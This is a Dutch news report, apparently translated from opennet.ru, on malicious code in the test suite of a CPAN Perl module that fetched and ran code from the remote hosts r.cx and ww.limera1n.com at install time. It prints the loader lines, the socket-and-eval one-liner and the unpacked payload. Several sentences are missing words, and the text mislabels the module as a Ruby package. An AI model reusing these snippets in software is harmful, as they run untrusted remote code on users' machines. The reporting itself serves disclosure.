In het via de CPAN Ruby-pakket verspreide , bedoeld voor het automatisch on-the-fly laden van CPAN-modules, kwade code. Kwaadwillige invoeging werd in de testcode , die sinds 2011 beschikbaar is.
Opmerkelijk is dat vragen over het laden van twijfelachtige code al zijn gerezen in 2016.
De schadelijke activiteit bestaat uit een poging om code van een externe server (http://r.cx:1/) te laden en uit te voeren tijdens de uitvoering van de testset die wordt uitgevoerd bij het installeren van de module. Het wordt vermoed dat de oorspronkelijk van de externe server geladen code niet kwaadaardig was, maar dat de aanvraag nu wordt omgeleid naar het domein ww.limera1n.com, dat een deel van de code voor uitvoering aanbiedt.
Voor het organiseren van de laadsituatie in het bestand wordt de volgende code gebruikt:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
De opgegeven code leidt tot de uitvoering van het script , waarvan de inhoud uit de volgende regel bestaat:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
Dit script laadt door middel van de service code van een externe host r.cx (de codes van de symbolen 82.46.99.88 komen overeen met de tekst «R.cX») en voert deze uit in een eval-blok.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Na het_unpacken, wordt de volgende :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
Op dit moment is het problematische pakket verwijderd uit de opslagplaats (Perl Authors Upload Server), en is het account van de moduleauteur geblokkeerd. Desondanks blijft de module in het MetaCPAN-archief en kan ze rechtstreeks van MetaCPAN worden geïnstalleerd met behulp van enkele tools, zoals cpanminus. , dat het pakket niet wijdverbreid is geweest.
Het is interessant dat er een discussie is geweest over en de auteur van de module, die de informatie ontkende dat de kwaadaardige code was ingevoegd na de hacking van zijn website «r.cx» en uitlegde dat hij gewoon voor de grap bezig was, en dat perlobfuscator.com niet werd gebruikt om iets te verbergen, maar om de grootte van de code te verkleinen en het kopiëren via het klembord te vergemakkelijken. De keuze van de functie naam «botstrap» werd toegelicht doordat het woord «klinkt als bot en korter is dan bootstrap». De auteur van de module verzekerde ook dat de geconstateerde manipulaties geen kwaadaardige acties uitvoeren, maar alleen laten zien hoe code via TCP wordt geladen en uitgevoerd.
Bron: opennet.ru
